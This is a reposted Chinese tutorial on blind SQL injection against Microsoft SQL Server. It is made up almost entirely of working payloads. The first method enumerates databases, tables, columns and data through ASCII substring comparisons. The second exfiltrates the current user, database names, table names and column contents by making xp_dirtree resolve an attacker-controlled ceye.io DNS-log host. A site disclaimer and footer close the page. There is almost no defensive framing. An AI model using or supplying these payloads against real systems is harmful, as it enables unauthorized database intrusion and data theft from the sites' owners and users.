MSSQL的簡單盲注


 

方式一:遍歷ascii碼的方式

 

一、判斷數據庫類型

 

and (select count(*) from sysobjects)>0

二、獲取數據庫

 

and ascii(substring((select top 1 name from master.dbo.sysdatabases),1,1)) >= 109

# 第一個

and ascii(substring((select top 1 name from master.dbo.sysdatabases where name

not in ('第一個數據庫名', '第二個數據庫名',,,,,,’第N-1個數據庫名’)),N,1)) >= 56

# 第N個

通過N 判斷數據庫數量

三、獲取表

 

and ascii(substring((select top 1 name from sysobjects where xtype = 0x75 ),1,1))

>= 80 #第一個

and ascii(substring((select top 1 name from sysobjects where xtype = 0x75 and

name not in ('第一個表名','第二個表名',,,,,,'第N-1個表名')),N,1)) >= 9 #第N個

通過N 判斷表數量

四、獲取列

 

and ascii(substring((select top 1 name from syscolumns where id=(select id from sysobjects where xtype=0x75 and name='表名')),N,1)) >= 65 #第一列

and ascii(substring((select top 1 name from syscolumns where id=(select id from sysobjects where xtype=0x75 and name='表名') and name

not in ('第一個列名')),N,1)) >= 65 #第N列

通過N 判斷列數量

五、獲取數據

 

and ascii(substring((select top 1 列名 from 表名),N,1)) >= 65

 

方式二:基於DNSlog的盲注方式

 

示例:

一、 獲取當前用戶

id=287;declare @a char(128);set @a='\\'%2buser%2b'.***.ceye.io\abc';exec master..xp_dirtree @a;--

二、 獲取庫名

id=287;declare @a char(128);set @a='\\'%2b(select top 1 name from master.dbo.sysdatabases)%2b'.***.ceye.io\abc';exec master..xp_dirtree @a;--

三、 獲取表名

id=287;declare @a char(128);set @a='\\'%2b(select top 1 name from 庫名.dbo.sysobjects where xtype=0x75)%2b'.***.ceye.io\abc';exec master..xp_dirtree @a;--

四、 獲取列名

id=287;declare @a char(128);set @a='\\'%2b(select top 1 列名 from 表名)%2b'.***.ceye.io\ab';exec master..xp_dirtree @a;--

 

 參考鏈接:https://www.imzzj.com/post-607.html

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM